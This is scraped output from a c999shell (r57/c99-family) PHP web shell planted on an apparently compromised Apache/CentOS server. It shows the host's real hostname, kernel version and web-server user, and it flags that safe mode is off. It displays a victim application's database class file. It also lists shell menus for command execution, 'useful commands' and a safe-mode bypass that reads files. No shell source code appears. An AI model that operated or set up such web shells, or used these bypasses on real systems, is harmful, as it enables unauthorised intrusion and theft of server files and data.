Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/class/ drwxr-xr-x |
Viewing file: DbMIS.php (946 B) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | include_once "connectMIS.php"; class Db{ var $rs; function SetQuery($query){ include_once "installedVar.php"; //$query = preg_replace("/Condition/", "`Condition`", $query); //$query = preg_replace("/condition /", "`condition` ", $query); mysql_select_db($GLOBALS["EREGIS_DBNAME"]); $this->rs= mysql_query($query); if (! $this->rs ){ //echo ""; die("Error :: " . mysql_errno() . ' : ' . mysql_error() ); } return $this->rs; } function GetLstID(){ return mysql_insert_id(); } function NumField(){ return mysql_num_fields($this->rs); } function GetRowSelected(){ return mysql_num_rows($this->rs); } function GetResult(){ if($this->rs){ return mysql_fetch_array($this->rs); } return 0; } function GetAffected(){ return mysql_affected_rows(); } function DestroyDb(){ return mysql_close(); } } ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0055 ]-- |